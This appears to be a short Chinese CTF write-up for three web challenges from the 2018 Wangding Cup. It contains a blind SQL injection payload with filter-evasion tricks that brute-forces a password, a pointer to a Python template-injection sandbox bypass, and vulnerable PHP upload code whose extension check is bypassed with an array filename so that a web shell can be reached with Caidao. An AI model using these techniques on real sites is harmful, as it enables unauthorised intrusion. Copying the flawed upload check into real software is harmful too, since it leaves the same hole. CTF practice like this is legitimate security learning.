网鼎杯第二场wp(web)
2018-08-23 本文已影响45人
wuli_decade
web~~~~~sqlweb
先用御剑扫一波,得到sql.php,访问

然后用这个账号密码登陆得到

试用admin/admin123登陆,得到

猜测此题为得到wuyanzu账号的密码登陆获得flag。
uname=wuyanzu'/**/%26%26/**/mid(passwd/**/from/**/{1}/**/for/**/1)/**/in/**/('{1}')/**/limit/**/1%23&passwd=asdf&submit=login

最终爆破出来的密码即为flag
flag{22acfb93-4b2f-4171-95d2-987e04216506}
web~~~~~~~calc
页面为一个计算器,猜测试ssti

参考:禁用import的情况下绕过python沙箱

web~~~~~~~~wafload
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
这里只能通过数组绕过,先查一下end函数

发现一个惊奇的东西,刚好可以绕过后缀名的检查


然后用菜刀连
